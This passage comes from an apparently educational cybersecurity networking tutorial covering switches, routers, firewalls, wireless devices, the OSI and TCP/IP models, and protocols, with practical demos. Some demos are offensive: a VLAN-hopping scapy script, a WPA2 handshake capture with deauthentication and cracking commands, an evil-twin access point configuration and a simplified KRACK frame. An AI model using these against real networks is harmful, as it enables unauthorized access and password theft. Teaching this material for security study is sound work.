payload
# Send the frame
sendp(frame, iface="eth0", count=10)
print(f"[+] Sent VLAN hopping frames to VLAN {inner_vlan}")
# Example usage (requires root)
# vlan_hop("00:11:22:33:44:55", "AA:BB:CC:DD:EE:FF", 10, 20, "Hello, VLAN 20!")
4. View CAM table with Python (simulated):
class SimulatedSwitch:
def __init__(self):
self.cam_table = {} # MAC -> port mapping
def learn_mac(self, mac, port):
"""Learn a MAC address on a specific port"""
self.cam_table[mac] = port
print(f"[+] Learned {mac} on port {port}")
def forward_frame(self, dest_mac, src_mac, frame_data):
"""Forward a frame based on CAM table"""
if dest_mac in self.cam_table:
port = self.cam_table[dest_mac]
print(f"[*] Forwarding frame to port {port} (unicast)")
return port
else:
print("[*] Flooding frame to all ports (unknown destination)")
return "all_ports"
def show_table(self):
"""Display the CAM table"""
print("CAM Table:")
print("-" * 30)
for mac, port in self.cam_table.items():
print(f" {mac} -> port {port}")
# Simulate switch learning
sw = SimulatedSwitch()
sw.learn_mac("AA:BB:CC:DD:EE:FF", 1)
sw.learn_mac("11:22:33:44:55:66", 2)
sw.show_table()
# Simulate forwarding
sw.forward_frame("AA:BB:CC:DD:EE:FF", "11:22:33:44:55:66", "data")
sw.forward_frame("99:88:77:66:55:44", "11:22:33:44:55:66", "data")
2.4 Layer 3 Devices
Router
A router forwards packets between different networks. Unlike switches, which operate within a single network segment, routers connect multiple networks together.
- Routing Table – routers maintain a table that decides where to send packets. Each entry contains a destination network, a next-hop address, and an interface to use.
- Static Routing – routes are manually configured by the network administrator. This is simple but doesn’t adapt to network changes.
- Dynamic Routing – protocols that automatically learn routes:
- RIP (Routing Information Protocol) – old protocol that uses hop count as its metric. Limited to 15 hops, making it unsuitable for large networks.
- OSPF (Open Shortest Path First) – link‑state protocol that builds a complete map of the network. Fast convergence and supports large networks.
- EIGRP – Cisco proprietary, advanced distance‑vector protocol. Combines the best features of distance-vector and link-state protocols.
- Network Separation – each interface on a router belongs to a different network (subnet). This segmentation is a fundamental security boundary.
Security Implications
- Route Leaks – misconfigured routing tables can advertise routes that should not be public, leading to traffic being routed through insecure paths.
- Routing Loops – when routers have conflicting information, packets can loop endlessly, causing network congestion and denial of service.
- BGP Hijacking – an attacker who gains control of a BGP router can advertise false routes, redirecting internet traffic through their systems.
- Dynamic Routing Attacks – attackers can inject false routing information into dynamic routing protocols, causing traffic to be routed through malicious systems.
Practical Demo – Router Operations
1. View routing table on Linux:
# View the routing table
route -n
# or with ip command
ip route show
# The output shows:
# - Destination networks
# - Gateway (next-hop)
# - Interface to use
# - Metric (priority)
2. View routing table on Windows:
route print
3. View routing table on a Cisco router:
show ip route
# The output shows:
# - Connected routes (C)
# - Static routes (S)
# - Dynamic routes (O for OSPF, R for RIP, D for EIGRP)
# - Default route (0.0.0.0/0)
4. Add static routes:
# Linux: Add a static route
sudo route add -net 192.168.2.0/24 gw 192.168.1.1
# Windows: Add a static route
route add 192.168.2.0 mask 255.255.255.0 192.168.1.1
# Cisco: Add a static route
ip route 192.168.2.0 255.255.255.0 192.168.1.1
5. Configure RIP routing:
# Cisco: Configure RIP
router rip
version 2
network 10.0.0.0
network 192.168.1.0
6. Configure OSPF routing:
# Cisco: Configure OSPF
router ospf 1
network 10.0.0.0 0.255.255.255 area 0
network 192.168.1.0 0.0.0.255 area 0
7. Simple routing simulation with Python:
class Router:
def __init__(self, name):
self.name = name
self.routing_table = []
self.interfaces = {}
def add_interface(self, network, netmask, interface):
"""Add a directly connected network"""
self.routing_table.append({
'network': network,
'netmask': netmask,
'next_hop': 'connected',
'interface': interface,
'metric': 0
})
self.interfaces[interface] = network
def add_static_route(self, network, netmask, next_hop, interface, metric=1):
"""Add a static route"""
self.routing_table.append({
'network': network,
'netmask': netmask,
'next_hop': next_hop,
'interface': interface,
'metric': metric
})
def route_packet(self, dest_ip):
"""Route a packet to the destination IP"""
for route in sorted(self.routing_table, key=lambda x: x['metric']):
# Simple matching - just check if destination is in the network range
if self.ip_in_network(dest_ip, route['network'], route['netmask']):
return route
return None
def ip_in_network(self, ip, network, netmask):
"""Check if an IP is in a network range"""
import ipaddress
try:
return ipaddress.ip_address(ip) in ipaddress.ip_network(f"{network}/{netmask}", strict=False)
except:
return False
def show_routing_table(self):
"""Display the routing table"""
print(f"Routing Table for {self.name}:")
print("-" * 60)
print("Network\t\tNext Hop\tInterface\tMetric")
for route in self.routing_table:
print(f"{route['network']}\t{route['next_hop']}\t{route['interface']}\t{route['metric']}")
# Create routers
r1 = Router("R1")
r1.add_interface("192.168.1.0", "255.255.255.0", "eth0")
r1.add_interface("10.0.0.0", "255.0.0.0", "eth1")
r1.add_static_route("172.16.0.0", "255.255.0.0", "10.0.0.2", "eth1")
r1.show_routing_table()
# Route a packet
result = r1.route_packet("172.16.0.5")
if result:
print(f"Packet routed via {result['next_hop']} on {result['interface']}")
else:
print("No route to destination")
2.5 Security Devices
Firewall
A firewall filters traffic based on rules (IP, port, protocol). It is the primary defense between trusted and untrusted networks.
- Stateful Firewall – tracks the state of connections and only allows packets that belong to established connections. This provides better security than simple packet filtering.
- NGFW (Next‑Generation Firewall) – adds application‑level inspection, allowing it to block specific applications (e.g., blocking Facebook regardless of port).
- Firewall Rules Structure:
- Source – IP address or network
- Destination – IP address or network
- Service – Port and protocol (e.g., TCP port 80)
- Action – Permit (allow) or Deny (block)
IDS/IPS
- IDS (Intrusion Detection System) – detects malicious patterns and generates alerts. It operates passively, monitoring traffic and reporting suspicious activity.
- IPS (Intrusion Prevention System) – detects malicious patterns and can actively block them. It sits inline with traffic and can drop malicious packets.
Proxy Server
A proxy server forwards requests on behalf of clients. It can cache content, filter requests, or hide internal IP addresses.
- Forward Proxy – sits between clients and the internet, hiding client IPs.
- Reverse Proxy – sits between the internet and servers, hiding server IPs and providing load balancing.
Hacker Perspective: Bypassing firewalls is an art. Common techniques include:
- Using allowed ports – e.g., tunneling SSH over port 443 (HTTPS)
- Encrypting traffic – HTTPS traffic is hard to inspect
- DNS tunnelling – using DNS queries to exfiltrate data
- Protocol evasion – fragmenting packets to evade inspection
- Application-level attacks – exploiting vulnerabilities in allowed applications
Practical Demo – Firewall Configuration
1. View iptables firewall rules (Linux):
# View all iptables rules
sudo iptables -L -v -n
# View NAT rules
sudo iptables -t nat -L -v -n
# View rules by chain
sudo iptables -L INPUT -v -n
sudo iptables -L OUTPUT -v -n
sudo iptables -L FORWARD -v -n
2. Basic iptables firewall rules:
# Allow established connections
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow SSH (port 22)
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Allow HTTP (port 80)
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
# Allow HTTPS (port 443)
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Allow DNS (port 53)
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT
# Block everything else
sudo iptables -A INPUT -j DROP
# Save rules
sudo iptables-save > /etc/iptables/rules.v4
3. Block specific IP addresses:
# Block a specific IP
sudo iptables -A INPUT -s 192.168.1.100 -j DROP
# Block an entire subnet
sudo iptables -A INPUT -s 192.168.1.0/24 -j DROP
4. Configure iptables for NAT (port forwarding):
# Forward port 80 to port 8080 on localhost
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
# Forward port 80 to internal server
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
5. Windows Firewall commands:
# Show firewall rules
netsh advfirewall firewall show rule name=all
# Add a rule to allow port 80
netsh advfirewall firewall add rule name="Allow HTTP" dir=in action=allow protocol=TCP localport=80
# Add a rule to block an IP
netsh advfirewall firewall add rule name="Block IP" dir=in action=block remoteip=192.168.1.100
# Enable/disable firewall
netsh advfirewall set allprofiles state on
netsh advfirewall set allprofiles state off
6. Python script to test firewall rules:
import socket
import subprocess
def test_port(host, port):
"""Test if a port is open"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((host, port))
if result == 0:
return "OPEN"
else:
return "FILTERED"
except:
return "ERROR"
finally:
sock.close()
def scan_ports(host, ports=[80, 443, 22, 21, 25, 53, 3389]):
"""Scan common ports to test firewall rules"""
print(f"Scanning {host}...")
print("-" * 30)
for port in ports:
status = test_port(host, port)
print(f"Port {port:5}: {status}")
# Example usage
# scan_ports("192.168.1.1")
2.6 Wireless Devices
Access Point (AP)
An Access Point bridges wireless clients to the wired network. It acts as a central hub for Wi-Fi devices, connecting them to the rest of the network.
Wireless Router
A Wireless Router combines multiple functions: router, switch, and access point in one device. It’s the most common device in home and small business networks.
Controller
A Wireless Controller centralises management of many access points. In enterprise environments, controllers manage AP configuration, roaming, and security policies.
Attack Vectors
- Rogue APs – unauthorized access points that create backdoors
- Evil Twin – fake AP that impersonates a legitimate one
- Deauthentication Attacks – forcing clients to disconnect
- WPA2 Handshake Capture – capturing and cracking WPA2 PSK
- KRACK (Key Reinstallation Attack) – exploiting vulnerabilities in the WPA2 handshake
- WPS PIN Brute Force – exploiting Wi-Fi Protected Setup
Practical Demo – Wireless Attacks
1. Scan for wireless networks:
# Enable monitor mode
sudo airmon-ng start wlan0
# Scan for networks
sudo airodump-ng wlan0mon
# Output shows:
# - BSSID (AP MAC address)
# - Channel
# - Encryption (WPA2, WEP, etc.)
# - ESSID (network name)
# - Signal strength
2. Capture WPA2 handshake:
# Target a specific AP and channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# In another terminal, deauthenticate a client
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# The handshake will be captured in capture-01.cap
3. Crack the WPA2 handshake:
# Use aircrack-ng with a wordlist
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# Or use hashcat for faster cracking
# Convert to hashcat format
sudo cap2hccapx capture-01.cap capture.hccapx
# Crack with hashcat (use GPU)
hashcat -m 2500 capture.hccapx /usr/share/wordlists/rockyou.txt
4. Create an evil twin (rogue AP):
# Create hostapd configuration
cat > evil-twin.conf << EOF
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=FreeWiFiPassword
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
# Start the evil twin
sudo hostapd evil-twin.conf &
# Set up DHCP
sudo dnsmasq -C dnsmasq.conf -d &
5. KRACK attack simulation:
from scapy.all import *
def send_key_reinstallation():
"""Demonstrate KRACK attack concept"""
# MAC addresses (target client and AP)
client_mac = "11:22:33:44:55:66"
ap_mac = "AA:BB:CC:DD:EE:FF"
# Create a forged message 3 (replay with same nonce)
# This causes key reinstallation
# This is a simplified representation - actual KRACK attack is more complex
# Craft the frame
frame = Dot11(addr1=client_mac, addr2=ap_mac, addr3=ap_mac) / \
Dot11EAPOL() # Simplified EAPOL frame
print("[*] Sending forged Message 3 to reinstall key...")
sendp(frame, iface="wlan0mon", count=5)
3. Network Models & Architecture
What is Networking?
Networking means connecting computers so they can communicate and share data. This is the backbone of everything in cybersecurity. If you don’t understand networking, tools like Nmap, Wireshark, and Burp Suite will feel confusing.
Why a Security Professional Must Understand Networking:
Every attack that travels across a wire or through the air is a networking event. When an attacker scans for open ports, sends a phishing link, intercepts a password, or floods a server with traffic, they are exploiting the rules and mechanics of computer networks.
If you do not understand those mechanics at a technical level, you will be unable to:
- Recognize an attack in progress
- Understand what your tools are actually doing
- Explain your findings to a client or employer
This section does not treat networking as background knowledge. It treats it as a core offensive and defensive skill. Every concept introduced here connects directly to a tool or an attack technique you will use later.
Simple Understanding: When you open a website:
- Your computer sends a request
- The server replies
- Data travels through the network
That entire process is networking.
OSI Model (7 Layers)
The OSI model is a conceptual framework that breaks network communication into seven layers. Each layer has a specific function and communicates only with the layers directly above and below it.
| Layer | Name | Function | Security Example |
|---|---|---|---|
| 7 | Application | User‑level services (HTTP, FTP, DNS, SMTP) | SQL injection, XSS |
| 6 | Presentation | Data format, encryption, compression | SSL/TLS (HTTPS) |
| 5 | Session | Maintains sessions, checkpoints | Session hijacking |
| 4 | Transport | Reliability, segmentation, flow control (TCP/UDP), Ports | Port scanning, SYN flood |
| 3 | Network | Routing, logical addressing (IP), ICMP | IP spoofing, routing attacks |
| 2 | Data Link | Framing, MAC addresses, Switches, error detection (Ethernet, Wi‑Fi) | ARP spoofing, MAC flooding |
| 1 | Physical | Cables, signals, bits | Eavesdropping on copper, jamming |
The OSI Model: How Data Actually Travels
The Open Systems Interconnection model, universally referred to as the OSI model, is a conceptual framework that describes how data moves from one computer to another across a network. It was developed by the International Organisation for Standardisation in the 1980s to standardise networking so that equipment and software from different manufacturers could communicate with each other.
The OSI model explains how data moves from one computer to another in layers. The model divides the communication process into seven distinct layers. Each layer has a specific responsibility. Each layer communicates only with the layer directly above or below it. When data is sent, it passes down through the layers, with each layer adding its own header information — a process called encapsulation. When data is received, it passes up through the layers, with each layer stripping off and processing its own header — a process called decapsulation.
Understanding where in this model a given attack or defence operates is essential. A firewall operating at Layer 3 and Layer 4 cannot inspect what is happening at Layer 7. An attacker who knows this will craft attacks that pass through lower-layer defences undetected by hiding malicious payloads inside legitimate application-layer traffic.
Simple Analogy: Sending a message is like sending a parcel:
- You write message
- Put it in envelope
- Add address
- Send through post
Each step = one layer.
Why the OSI Model Matters for Security:
Each layer presents unique attack surfaces and security considerations. Understanding which layer an attack targets helps you identify the appropriate defense mechanisms. For example:
- Layer 7 attacks (HTTP injection) require application-layer defenses (WAF)
- Layer 4 attacks (SYN flood) require transport-layer defenses (firewall rules)
- Layer 2 attacks (ARP spoofing) require data-link defenses (dynamic ARP inspection)
Layer 7: Application Layer
The Application Layer is the top layer of the OSI model. It provides network services directly to end-user applications. This is the layer that users interact with most directly. When you open a web browser, send an email, or transfer a file, you are using protocols that operate at this layer.
Key Protocols
- HTTP (Hypertext Transfer Protocol) – Used for web browsing. Sends requests from browsers to web servers and returns web pages to the browser. HTTP is unencrypted and vulnerable to eavesdropping.
- HTTPS (HTTP Secure) – The encrypted version of HTTP using TLS/SSL. Protects data in transit from interception.
- FTP (File Transfer Protocol) – Used for transferring files between computers. Transmits credentials in plaintext unless using FTPS or SFTP.
- DNS (Domain Name System) – Translates human-readable domain names (google.com) to IP addresses (142.250.190.46). DNS is often a target for spoofing attacks.
- SMTP (Simple Mail Transfer Protocol) – Used for sending email. Transmits emails between mail servers.
- SSH (Secure Shell) – Provides secure remote access to systems. Encrypts all traffic, including credentials.
Security Implications at Layer 7
- SQL Injection – Manipulating application queries to access unauthorized data
- Cross-Site Scripting (XSS) – Injecting malicious scripts into web applications
- Session Hijacking – Stealing session cookies to impersonate users
- Application Exploits – Exploiting vulnerabilities in application code
Layer 6: Presentation Layer
The Presentation Layer is responsible for data formatting, translation, and encryption. It ensures that data sent from one system’s application layer can be read by another system’s application layer. This layer handles data compression, encryption, and character encoding.
Key Functions
- Data Formatting – Converting data between different formats so systems can communicate
- Encryption – Providing data confidentiality through encryption (e.g., TLS/SSL)
- Data Compression – Reducing data size for faster transmission
- Character Encoding – Converting between different character sets (ASCII, Unicode)
- Data Serialization – Converting complex data structures into a format suitable for transmission
Security Implications at Layer 6
- Weak Encryption – Using outdated or weak encryption algorithms
- Decryption Attacks – Exploiting vulnerabilities in encryption implementations
- Data Manipulation – Modifying data in transit before it reaches the presentation layer
- SSL Stripping – Forcing downgrade from HTTPS to HTTP to intercept traffic
Layer 5: Session Layer
The Session Layer establishes, manages, and terminates connections (sessions) between applications on different devices. It enables two applications to establish a communication session and manage the exchange of data.
Key Functions
- Session Establishment – Creating a communication session between applications
- Session Management – Maintaining the session during communication
- Session Termination – Properly closing the session when communication ends
- Dialog Control – Managing which side can transmit at which time (half-duplex or full-duplex)
- Synchronization – Inserting checkpoints into the data stream for recovery
Security Implications at Layer 5
Session Hijacking attacks target this layer. An attacker can steal a session identifier and impersonate a legitimate user. Common techniques include:
- Session ID Theft – Capturing session cookies or tokens
- Session Fixation – Forcing a user to use a predetermined session ID
- Session Replay – Reusing captured session data to gain unauthorized access
Layer 4: Transport Layer
The Transport Layer is responsible for end-to-end communication between two hosts. It breaks large messages into smaller segments for transmission, reassembles them at the destination, and handles error detection and flow control.
Key Protocols
- TCP (Transmission Control Protocol) – Connection-oriented protocol that provides reliable, ordered delivery of data. It establishes a connection, ensures all packets arrive, and reassembles them in order. Used by HTTP, HTTPS, FTP, SSH, and many other protocols.
- UDP (User Datagram Protocol) – Connectionless protocol that provides fast but unreliable delivery. It does not guarantee packet delivery or ordering. Used by DNS, DHCP, streaming services, and real-time applications.
Ports
TCP and UDP use port numbers to identify specific services. Port numbers range from 0 to 65535:
- Well-Known Ports (0-1023) – Assigned to standard services (HTTP:80, HTTPS:443, SSH:22, FTP:21, DNS:53)
- Registered Ports (1024-49151) – Used by applications and services
- Dynamic/Private Ports (49152-65535) – Used for temporary connections
Security Implications at Layer 4
- SYN Flood – Sending many SYN packets to exhaust server resources
- Port Scanning – Discovering open ports for potential exploitation
- UDP Flooding – Overwhelming services with UDP traffic
- TCP Session Hijacking – Intercepting TCP connections
Layer 3: Network Layer
The Network Layer is responsible for logical addressing, routing, and forwarding of data packets between different networks. It determines the best path for data to travel across multiple networks from source to destination.
The IP address lives at Layer 3. Routers operate at this layer. When your data travels from your home to a server in another country, passing through dozens of intermediate routers, that routing is happening at Layer 3.
Key Functions
- Logical Addressing – Assigning IP addresses to identify devices on a network
- Routing – Determining the best path for data to travel
- Packet Forwarding – Moving packets from one network to another
- Fragmentation – Breaking large packets into smaller ones for transmission
Key Protocols
- IP (Internet Protocol) – The primary protocol for addressing and routing. IPv4 (32-bit addresses) and IPv6 (128-bit addresses).
- ICMP (Internet Control Message Protocol) – Used for diagnostic purposes (ping, traceroute). Can be abused for ICMP tunneling.
- ARP (Address Resolution Protocol) – Maps IP addresses to MAC addresses. Vulnerable to ARP spoofing attacks.
Security Implications at Layer 3
- IP Spoofing – Modifying source IP addresses to impersonate other systems
- Routing Attacks – Manipulating routing tables to redirect traffic
- ICMP Tunneling – Using ICMP to exfiltrate data or establish covert channels
- Ping of Death – Sending oversized ICMP packets to crash systems
Layer 2: Data Link Layer
The Data Link Layer provides node-to-node data transfer across a physical network segment. It formats data into frames and adds physical addressing (MAC addresses) for local communication.
This layer is responsible for communication between devices on the same local network. It uses the MAC address — a hardware address burned into every network interface card — to identify devices on the local segment. Switches operate at Layer 2. ARP, the Address Resolution Protocol, which maps IP addresses to MAC addresses, operates at this layer. ARP spoofing attacks, a form of Man-in-the-Middle attack, exploit this layer.
Key Functions
- Framing – Packaging data into frames with headers and trailers
- Physical Addressing – Using MAC addresses to identify devices on the same network
- Error Detection – Detecting errors in transmission (though not always correcting them)
- Media Access Control – Managing access to the shared physical medium
Key Technologies
- MAC (Media Access Control) Addresses – Unique hardware addresses assigned to network interfaces
- Switches – Connect devices on the same network and forward frames based on MAC addresses
- ARP (Address Resolution Protocol) – Resolves IP addresses to MAC addresses
- VLANs – Virtual LANs for network segmentation
Security Implications at Layer 2
- ARP Spoofing – Manipulating ARP tables to intercept network traffic
- MAC Flooding – Overwhelming switches with MAC addresses, causing them to fail open
- VLAN Hopping – Moving between VLANs to access unauthorized network segments
- STP Manipulation – Manipulating Spanning Tree Protocol to cause network disruption
Layer 1: Physical Layer
The Physical Layer is the lowest layer of the OSI model. It defines the physical and electrical specifications for the network connection—the cables, connectors, and signals that transmit raw bits over the wire or through the air. Ethernet cables, fibre optic cables, Wi-Fi radio frequencies, and the voltage levels that represent a 0 or a 1 all live at Layer 1.
Key Components
- Cables – Ethernet (twisted pair), fiber optic, coaxial
- Connectors – RJ45, SC, LC (fiber connectors)
- Network Interface Cards (NICs) – Hardware that connects a device to the network
- Hubs – Connect multiple devices but operate at the physical layer (broadcast all traffic)
- Repeaters – Amplify signals to extend transmission distance
Security Implications at Layer 1
Physical security is essential. An attacker with physical access to network cables can:
- Tap into the network to intercept traffic
- Connect unauthorized devices
- Install packet sniffing hardware
- Use signal injection to disrupt communications
- Perform wiretapping to eavesdrop on conversations
OSI Mnemonic
A mnemonic commonly used to remember the layers from top to bottom: All People Seem To Need Data Processing
- Application (7)
- Presentation (6)
- Session (5)
- Transport (4)
- Network (3)
- Data Link (2)
- Physical (1)
Why This Matters for Security
Every attack targets a specific layer or combination of layers. A DDoS attack targeting Layer 3 and 4 floods the network with IP packets to exhaust bandwidth or connection tables. An SQL injection attack targets Layer 7 by manipulating the application protocol. A Wi-Fi eavesdropping attack targets Layer 1 and 2 by capturing radio signals before they are decrypted.
When you read about an attack or configure a defence, identify which layer it operates at. This tells you which controls can stop it and which cannot.
OSI Model Conceptual Python Implementation
class OSILayer:
def __init__(self, name, layer_number, protocols, security_implications):
self.name = name
self.layer_number = layer_number
self.protocols = protocols
self.security_implications = security_implications
def display(self):
print(f"\nLayer {self.layer_number}: {self.name}")
print(f" Protocols: {', '.join(self.protocols)}")
print(f" Security Implications: {', '.join(self.security_implications)}")
# Create OSI layers
layers = [
OSILayer("Application", 7, ["HTTP", "HTTPS", "FTP", "DNS", "SMTP", "SSH"],
["Application vulnerabilities (XSS, SQLi)", "Insecure protocols", "Data exposure"]),
OSILayer("Presentation", 6, ["Encryption", "Compression", "Formatting"],
["Weak encryption", "Decryption attacks", "Data manipulation"]),
OSILayer("Session", 5, ["Session establishment", "Management", "Termination"],
["Session hijacking", "Session fixation", "Session replay"]),
OSILayer("Transport", 4, ["TCP", "UDP", "Ports"],
["SYN floods", "Port scanning", "UDP flooding"]),
OSILayer("Network", 3, ["IP", "ICMP", "Routing"],
["IP spoofing", "Routing attacks", "ICMP tunneling"]),
OSILayer("Data Link", 2, ["MAC", "ARP", "Switches"],
["ARP spoofing", "MAC flooding", "VLAN hopping"]),
OSILayer("Physical", 1, ["Cables", "Signals", "Repeaters"],
["Physical tampering", "Signal interception", "Unauthorized access"])
]
print("=== OSI Model (7 Layers) ===\n")
for layer in layers:
layer.display()
How Data Travels Through the OSI Model
When a user sends data across a network:
- Application Layer: The user’s application generates the data (e.g., an email)
- Presentation Layer: The data is formatted, compressed, and encrypted as needed
- Session Layer: A communication session is established
- Transport Layer: The data is split into segments, and TCP ports are added
- Network Layer: IP addresses are added to create packets
- Data Link Layer: MAC addresses are added to create frames
- Physical Layer: The frames are converted to electrical signals and transmitted
Example Wireshark Tool
Task: Observe network traffic
Steps:
- Install Wireshark
- Start capture on Wi-Fi
- Open a website
What you will see: Packets moving between your system and internet
What you learned: Data is not magic. It travels in packets through layers.
TCP/IP Model (4 Layers)
The TCP/IP Model (Transmission Control Protocol/Internet Protocol) is a simpler, more practical model that maps directly to the protocols used on the modern internet. While the OSI model is theoretical, the TCP/IP model represents how the internet actually works. It has four layers instead of seven.
Why TCP/IP Matters for Security: Understanding the TCP/IP model helps you understand network attacks at their most fundamental level. Most security tools and attacks operate at specific TCP/IP layers.
TCP/IP vs OSI
| TCP/IP Layer | OSI Equivalent | Protocols |
|---|---|---|
| Application | 5, 6, 7 | HTTP, FTP, DNS, SSH |
| Transport | 4 | TCP, UDP |
| Internet | 3 | IP, ICMP, ARP |
| Network Access | 1, 2 | Ethernet, Wi‑Fi, PPP |
TCP/IP Layer Details
Layer 4: Application Layer
The Application Layer in TCP/IP combines the OSI Application, Presentation, and Session layers. It provides high-level protocols for application-specific communication.
Key Protocols:
- HTTP/HTTPS: Web browsing (port 80/443)
- DNS: Domain name resolution (port 53)
- FTP: File transfer (port 21)
- SSH: Secure remote access (port 22)
- SMTP: Email sending (port 25)
- POP3/IMAP: Email receiving (ports 110/143)
Layer 3: Transport Layer
The Transport Layer corresponds to the OSI Transport Layer. It provides end-to-end communication and can be either connection-oriented (TCP) or connectionless (UDP).
Key Protocols:
- TCP: Reliable, ordered delivery with error checking and retransmission
- UDP: Fast, lightweight, no delivery guarantees
Layer 2: Internet Layer
The Internet Layer corresponds to the OSI Network Layer. It handles logical addressing and routing of data across networks.
Key Protocols:
- IP: Logical addressing (IPv4 and IPv6)
- ICMP: Diagnostic messages (ping, traceroute)
- ARP: IP to MAC address resolution
Layer 1: Network Access Layer
The Network Access Layer corresponds to the OSI Data Link and Physical layers. It handles the physical transmission of data over the network medium.
Key Functions:
- Frame encapsulation
- Physical addressing (MAC)
- Error detection
- Media access control
Practical Demo – Exploring the OSI Model
1. See encapsulation with Wireshark:
# Start Wireshark capture
sudo wireshark
# Browse to any website
# In Wireshark, click on a packet
# Expand each layer to see:
# - Ethernet II (Layer 2)
# - Internet Protocol (Layer 3)
# - Transmission Control Protocol (Layer 4)
# - HTTP/HTTPS (Layer 7)
2. Decode packet layers with Python:
import socket
import struct
def decode_ethernet_frame(data):
"""Decode Ethernet frame (Layer 2)"""
dest_mac = data[0:6]
src_mac = data[6:12]
eth_type = struct.unpack('!H', data[12:14])[0]
print("=== Layer 2: Ethernet Frame ===")
print(f" Destination MAC: {':'.join(f'{b:02x}' for b in dest_mac)}")
print(f" Source MAC: {':'.join(f'{b:02x}' for b in src_mac)}")
print(f" Type: 0x{eth_type:04x}")
return data[14:]
def decode_ip_packet(data):
"""Decode IP packet (Layer 3)"""
version_ihl = data[0]
version = version_ihl >> 4
ihl = (version_ihl & 0x0F) * 4
tos = data[1]
total_length = struct.unpack('!H', data[2:4])[0]
identification = struct.unpack('!H', data[4:6])[0]
flags_fragment = struct.unpack('!H', data[6:8])[0]
ttl = data[8]
protocol = data[9]
checksum = struct.unpack('!H', data[10:12])[0]
src_ip = socket.inet_ntoa(data[12:16])
dest_ip = socket.inet_ntoa(data[16:20])
print("\n=== Layer 3: IP Packet ===")
print(f" Version: {version}")
print(f" Header Length: {ihl} bytes")
print(f" TTL: {ttl}")
print(f" Protocol: {protocol}")
print(f" Source IP: {src_ip}")
print(f" Destination IP: {dest_ip}")
return data[ihl:]
# Example usage with captured packet
# packet_data = b'\x00\x11...' # Replace with actual packet data
# eth_data = decode_ethernet_frame(packet_data)
# ip_data = decode_ip_packet(eth_data)
4. Protocols
Protocols are the rules that govern communication. Here are the ones you need to know, with a security focus.
Core Protocols
IP (Internet Protocol)
IP provides logical addressing (IPv4 / IPv6). It is routable across networks and is the foundation of internet communication.
- IPv4: 32-bit addresses (e.g., 192.168.1.1)
- IPv6: 128-bit addresses (e.g., 2001:0db8:85a3::8a2e:0370:7334)
TCP (Transmission Control Protocol)
TCP is connection‑oriented, reliable, ordered, and error‑checked. Used for web, email, SSH. Attackers scan for open TCP ports.
TCP Three-Way Handshake:
- Client → SYN (synchronize)
- Server → SYN-ACK (synchronize-acknowledge)
- Client → ACK (acknowledge)
Security Implications:
- SYN Flood: Sending many SYN packets to exhaust server resources
- TCP Sequence Prediction: Guessing sequence numbers to hijack connections
UDP (User Datagram Protocol)
UDP is connectionless, with no reliability. Used for DNS, streaming, VoIP. Often used for amplification attacks (e.g., DNS amplification DDoS).
Security Implications:
- UDP Flood: Overwhelming services with UDP traffic
- Amplification Attacks: Using UDP protocols to multiply attack traffic
ICMP (Internet Control Message Protocol)
ICMP is used for diagnostics (ping, traceroute). Can be abused for ICMP tunnelling or reconnaissance.
Security Implications:
- ICMP Tunneling: Hiding data in ICMP packets
- Ping Sweeps: Discovering live hosts on a network
- ICMP Redirect: Manipulating routing tables
ARP (Address Resolution Protocol)
ARP maps IP to MAC. Spoofing ARP leads to MITM attacks.
Security Implications:
- ARP Spoofing: Redirecting traffic through attacker’s machine
- ARP Cache Poisoning: Corrupting ARP tables to facilitate attacks
Network Protocols
DNS (Domain Name System)
DNS is the “phonebook of the internet.” It translates human-readable domain names (like google.com) into machine-readable IP addresses (like 142.250.190.46). Without DNS, you would need to remember IP addresses for every website you visit.
How DNS Resolution Works
- User enters domain name (e.g., www.example.com)
- Browser checks cache – The operating system maintains a DNS cache of recently resolved names
- Local DNS resolver checks – The local DNS server (typically provided by your ISP or network) checks its cache
- Root server query – If not cached, the resolver queries a root DNS server
- TLD server query – The root server directs to the Top-Level Domain (TLD) server (.com)
- Authoritative server query – The TLD server directs to the authoritative DNS server
- IP address returned – The authoritative server provides the IP address
- Resolution cached – The IP address is cached at each level for future use
DNS Record Types
| Record Type | Purpose | Example |
|---|---|---|
| A | IPv4 address | 192.168.1.1 |
| AAAA | IPv6 address | 2001:0db8:85a3:0000:0000:8a2e:0370:7334 |
| MX | Mail exchange server | mail.google.com |
| CNAME | Canonical name (alias) | www.example.com → example.com |
| TXT | Text information | SPF records, domain verification |
| NS | Name server | ns1.example.com |
| PTR | Reverse lookup | IP → domain name |
| SOA | Start of Authority | Administrative information |
DNS Security Implications
- DNS Spoofing: An attacker intercepts DNS queries and returns malicious IP addresses
- DNS Cache Poisoning: Injecting false DNS records into a resolver’s cache
- DNS Tunneling: Using DNS queries to exfiltrate data or establish covert channels
- DNS Amplification Attacks: Using DNS servers to amplify DDoS traffic
- Zone Transfer Attacks: Attempting to copy all DNS records from a server
Defenses
- DNSSEC: Digital signatures to verify DNS responses
- DNS over HTTPS (DoH): Encrypting DNS queries over HTTPS
- DNS over TLS (DoT): Encrypting DNS queries over TLS
- Rate Limiting: Restricting the number of queries per IP address
Practical Demo – DNS
1. Query DNS servers:
# nslookup - Query DNS records
nslookup google.com
nslookup -type=mx google.com
nslookup -type=txt google.com
# dig - More detailed DNS queries
dig google.com
dig google.com MX
dig -x 8.8.8.8 # Reverse lookup
2. See DNS resolution process:
# Traceroute with DNS resolution
traceroute google.com
# Show DNS cache
ipconfig /displaydns # Windows
sudo systemd-resolve --statistics # Linux
3. DNS spoofing with Ettercap (Kali Linux):
